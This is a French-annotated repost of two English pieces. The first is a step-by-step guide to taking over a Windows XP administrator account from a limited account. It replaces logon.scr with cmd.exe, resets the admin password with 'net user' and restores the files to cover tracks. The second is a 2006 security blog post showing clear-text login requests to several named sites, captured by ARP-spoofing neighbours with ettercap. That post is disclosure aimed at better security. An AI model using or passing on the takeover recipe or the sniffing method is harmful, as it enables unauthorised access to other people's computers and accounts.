How to hack windows XP admin password

Truc très utile pouvant servir;

http://www.it.iitb.ac.in/~sudhir/Hacking/Win_XP_Hack.html

À tester !

How to hack windows XP admin password

If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes

"net user password"

If the Administrator Account is called Frank and you want the password blah enter this

"net user Frank blah"

and this changes the password on franks machine to blah and your in.

Have fun

p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks

Bonus:

Magasiner en ligne c'est imprudent !

http://blogs.ittoolbox.com/security/investigator/archives/look-at-all-of-these-passwords-11240

A Day in the Life of an Information Security Investigator

Blog Main | Blog Archive | Author Bio

Previous Entry

Look At All Of These Passwords!

Posted 8/21/2006 by SecurityMonkey (Information Security Investigator)
Comments (58) | Trackbacks (0)

If you use any number of popular web forums or even some commercial services like classmates.com, amazon.com, netzero.com or your provider's webmail service, you may not be aware that you're sending your credentials over the internet in the clear.

Some sites appear to secure your credentials, but they really don't. Some offer SSL sign-ins, but don't make them the default. Others don't even make an attempt to use proper SSL encryption or any attempt to obscure the credentials.

Remember the wall of sheep from DefCon? All of those people that kept logging into net resources assuming that nobody was listening? They were wrong!

Let's look at a couple of great examples of sites that have really awful security design, and see exactly how easy it is to steal credentials if you have access to the wire. These were obtained using nothing more than a linux laptop, a cable modem, ettercap (running ARP spoof and MiM gateway) and a bit of coffee.

READ: I'm posting this here, because from the sound of the comments, some people are quite confused about a number of things.

1) Yes, you CAN sniff your neighbors on a cable modem connection. Maybe not ALL, but the segment that I used allowed me to ARP-SPOOF my neighbors using ettercap.
2) Yes, you CAN sniff your neighbors on a switch. See #1.
3) I did not do any MiM attacks against SSL, only clear-text connections. HOWEVER! Ettercap CAN SNIFF SSL. Through a carefully crafted SSL cert, you can trick the user into clicking past your bogus cert and you can sniff everything over the SSL connection with ease. It's on ettercap's homepage - don't believe me, go read it!

http://http://ettercap.sourceforge.net/

If you want to follow along, you'll need an account at some of these domains. You can capture these web sessions using the sniffer of your choice. We're paying close attention to POST requests that are done over non-ssl connections.

CASE #1: NETZERO.NET

When the user logs into my.netzero.net, here's what the request looks like:

POST http://my.netzero.net/s/logon HTTP/1.0
Accept: application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://my.netzero.net/s/sp?cf=www
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1)
Host: my.netzero.net
Content-Length: 120
Pragma: no-cache
Cookie: (sets cookie)


If you look further down into Content-type, you'll notice this:

Content-type: text/plain

GOTO_URL=http://my.netzero.net/s/sp&FAIL_URL=&MemberID=MYUSERID&netzero.com=netzero.com
&Password=MYPASSWORD&x=0&y=0
Content-type: text/plain

Whoops. You probably wouldn't want to login to this at a hotspot, a university, or especially DefCon!

CASE #2: Cox Webmail

Here we go again. Here's the POST:

POST http://webmail.west.cox.net/do/dologin HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
Referer: http://webmail.east.cox.net/do/logout?l=en-US&v=cox
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1)
Host: webmail.east.cox.net
Content-Length: 129
Pragma: no-cache
Cookie:

And look-ee what's hiding in Content-type:
Content-type: text/plain

variant=cox&locale=en-US&client=html&directMessageView=&uid=&folder=&remoteAccountUID=
&login=1&account=MYUSERNAME&password=MYPASSWORD

Just imagine if you were on a Cox connection and ran an arp-spoofing attack against your neighbors. A quick instance of ettercap and you'd own your neighbors webmail accounts in a jiffy.

CASE #3: JUNO.COM

Here's our POST:
POST http://webmail.juno.com/cgi-bin/login.cgi HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://webmail.juno.com/
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1)
Host: webmail.juno.com
Content-Length: 50
Pragma: no-cache
Cookie:

And yet again in Content-type, we have our credentials:
LOGIN=MYUSERNAME&PASSWORD=MYPASSWORD&domain=juno.com


CASE #4: CLASSMATES.COM

Here's a lesson for classmates.com: we can give away your credentials logging IN or OUT!

Look at this logout session:

POST http://www.classmates.com/cmo/logout.jsp?_DARGS=/cmo/fragments/login.jspf HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
Referer: http://www.classmates.com/cmo/logout.jsp;jsessionid=SESSIONID?DPSLogout=true
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1)
Host: www.classmates.com
Content-Length: 742
Pragma: no-cache
Cookie:

The Content-type reveals:
&/atg/userprofiling/ProfileFormHandler.cmLogin=MYUSERNAME&_D:/atg/userprofiling
/ProfileFormHandler.cmLogin=&/atg/userprofiling/ProfileFormHandler.value.password=MYPASSWORD
&_D:/atg/userprofiling/ProfileFormHandler.value.password=

CASE #5: phpwebhosting.com

Ever wonder why so many hosted websites and mail servers get mysteriously 'hacked' so easily? Hey, it's simple when you send the username, password AND the domain that the user is administering in the clear! WEEEEE!

POST http://mech.phpwebhosting.com/cgi-bin/qmailadmin HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://mech.phpwebhosting.com/cgi-bin/qmailadmin
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1)
Host: mech.phpwebhosting.com

Here it comes...
do.login=Login&username=postmaster&password=MYPASSWORD&domain=MYDOMAIN.com&bleh=login

Imagine if you could snarf every admin's password on a single hosting box - a box that hosted hundreds or thousands of domains...

CASE #6: GOVST.EDU

Attention class. Today we're going to look at not only how to pass credentials in the clear, but how to completely do cookies in the most ineffective way possible!

Our POST:
POST http://gsuwebct.govst.edu/webct/ticket/ticketLogin?action=print_login&request_uri=/webct/homearea/homearea? HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://gsuwebct.govst.edu/webct/ticket/ticketLogin?action=print_login&request_uri=/webct/homearea/homearea?
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1)
Host: gsuwebct.govst.edu
Content-Length: 115
Pragma: no-cache
Cookie:
(PAY CLOSE ATTENTION TO THIS LINE)
WebCTTicket=username%ENCODED%26password%ENCODED%26expiry%ENCODED%26hash%BIGASSHASH


That looked secure, right?
Now you'll never guess what goes over the wire....

request_uri=/webct/homearea/homearea?&action=webform_user&WebCT_ID=MY_ID_NUMBER
&Password=MY_CRAPPY_FOUR_DIGIT_PIN&submitbutton=Log in

**KABOOM**

CASE #7: AMAZON.COM? WHAT?

Yes, Amazon will still let you login with clear-text. Seriously. I'm not making this up.

Here's a typical POST:
POST http://www.amazon.com/exec/obidos/flex-sign-in-done/NUMBER HTTP/1.0
Accept: */*
Referer: http://www.amazon.com/exec/obidos/flex-sign-in/ref=BLAHBLAH?%5Fencoding=UTF8
&response=wheres-my-stuff&method=POST&opt=a
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1)
Host: www.amazon.com
Content-Length: 198
Pragma: no-cache
Cookie:

Looks good so far... but now look in Content-type text:

_encoding=UTF8&method=POST&opt=a&page=help/ya-sign-in-secure.html&response=wheres-my-stuff
&email=myemail@pantsflappinginthewind.com&action=sign-in&next-page=help/ya-register-secure.html
&password=MY_PASSWORD_FLAPPING_IN_THE_WIND&x=138&y=9
Content-type: text/plain

Yikes.

Case #8: United States Department of... COMMERCE?

Roam over to www.deanumber.com. Upon login, your POST will look like this:

POST http://www.deanumber.com/Default.asp HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://www.deanumber.com/
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1)
Host: www.deanumber.com
Content-Length: 122
Pragma: no-cache
Cookie: ASPSESSIONIDACADDRCB=SOMESESSIONIDNUM; MonitorHeight=600; MonitorWidth=800; MonitorResolution=600x800; MonitorColor=32

And wagging around in Content-type text is:


SessionID={SESSION_ID}&FolderID=1&Action=CheckLogin&FUserID=MY_USER_ID&Password=MY_PASSWORD
&x=0&y=0


This is only a VERY small sampling of the more than 70 sites that I've researched that pass user credentials over the wire in clear text.

Lessons learned:

1) Pay attention when you're signing in to any website with credentials. Are you really logging in over SSL?
2) Adhere to common-sense practices when accessing websites over a possibly hostile network (hotspot, airport, your neighbor's misconfigured AP, etc.).
3) Encourage these websites to implement proper data security practices. If you don't, they may only decide to do so after a serious incident happens.
Chief